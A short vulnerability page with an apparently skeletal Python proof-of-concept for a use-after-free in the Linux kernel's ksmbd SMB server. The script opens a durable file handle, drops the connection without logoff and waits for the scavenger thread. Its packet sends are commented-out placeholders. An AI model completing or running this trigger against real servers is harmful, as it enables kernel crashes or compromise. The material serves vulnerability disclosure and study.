CVE-2026-31718 Linux内核ksmbd释放后重用漏洞

# Conceptual PoC for CVE-2026-31718 # This script demonstrates the steps to trigger the UAF in ksmbd. # It creates a durable handle, disconnects without logoff, and waits for the scavenger. import socket import struct import time TARGET_IP = "192.168.1.10" SMB_PORT = 445 def send_smb_negotiate(sock): # Simplified SMB2 NEGOTIATE request header # Real implementation requires constructing valid SMB2 headers print("[+] Sending SMB Negotiate...") # sock.send(...) def send_smb_session_setup(sock): print("[+] Sending Session Setup...") # sock.send(...) def create_durable_handle(sock): print("[+] Creating file with Durable Handle...") # Request specific flags: SMB2_CREATE_DURABLE_HANDLE_REQUEST # This ensures the file handle (fp) survives a disconnect. # sock.send(...) def trigger_vulnerability(): print(f"[*] Connecting to {TARGET_IP}...") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((TARGET_IP, SMB_PORT)) try: # 1. Establish SMB Session send_smb_negotiate(sock) send_smb_session_setup(sock) # 2. Create a file with a durable handle create_durable_handle(sock) # 3. Disconnect without sending SMB2_LOGOFF # This triggers session_fd_check() -> fp->conn = NULL # but leaves locks on fp->lock_list. print("[!] Closing TCP connection abruptly (No Logoff)...") sock.close() # 4. Wait for the durable scavenger timeout # The scavenger calls __ksmbd_close_fd(NULL, fp) # It tries spin_lock(&fp->conn->llist_lock) -> UAF print("[*] Waiting for durable scavenger to timeout...") time.sleep(60) # Wait for kernel thread to trigger print("[*] Exploit trigger attempted.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": trigger_vulnerability()